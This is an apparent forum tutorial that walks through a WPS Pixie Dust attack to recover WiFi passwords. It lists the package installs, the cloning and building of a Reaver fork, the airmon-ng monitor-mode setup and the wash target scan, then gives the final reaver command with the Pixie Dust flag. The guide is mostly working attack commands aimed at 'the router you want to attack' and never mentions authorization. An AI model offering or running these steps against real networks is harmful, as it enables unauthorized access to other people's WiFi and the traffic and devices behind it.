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Hack Wifi Using A Wps Pixie Dust Attack

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Hack WiFi Using a WPS Pixie Dust Attack


BY BURNCT 
06/25/2015 2:12 PM 
07/22/2017 8:54 AM

L ong time reader, first time 'How To' poster. This tutorial has been highly requested. Here
are the steps to perform a Pixie Dust attack to crack a WiFi password that has WPS enabled.

Please note, this attack is very specific in nature. I've had a lot of success running this attack
against Ralink and RealTek chipsets. And very spotty success against Broadcom chipsets. This
might not work against all routers, but is definitely worth trying before using a brute force
attack against WPS

Let's Begin!!!

Step 1

Download All Dependencies


It's important to download all dependencies from the repository before proceeding with the
attack. Kali Linux includes some of these, but if you're using another flavor of Linux, it may
not. So let's go through all of them.
1. First, type into the terminal: apt-get update
2. Then: apt-get install build-essential
3. apt-get install libpcap-dev
4. apt-get install sqlite3
5. apt-get install libsqlite3-dev
6. apt-get install pixiewps

I like to do each download individually as I've had issues in the past trying to download all at
once.

Step 2

Clone the GitHub


This attack works by using a fork of Reaver. We'll need to download, compile, and install the
fork. Let's begin:

git clone https://github.com/t6x/reaver-wps-fork-t6x

Step 3

Installation
From your pwd, type...

1. cd reaver-wps-fork-t6x/
2. cd src/
3. ./configure
4. make
5. make install

or 'sudo make install' if you're not logged in as 'root'

Step 4

Monitor Mode
Put your interface into monitor mode using 'airmon-ng start {wireless interface}
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Step 5

Find a Target
The easiest way to find a target with WPS enabled is

'wash -i {monitor-interface}'

Gather the BSSID and channel # for the router you want to attack. Make sure you have a
strong signal before attempting this attack.

Step 6

Launch the Attack


Once you have all the information, simply type in the following command:

reaver -i {monitor interface} -b {BSSID of router} -c {router channel} -vvv -K 1 -f

Step 7

Ta-Da!
There's the password! Again, this attack won't work against all routers, but it is definitely more
effective than a brute force attack (Pixie Dust: maximum 30 minutes vs Brute Force: minutes to
DAYS!)

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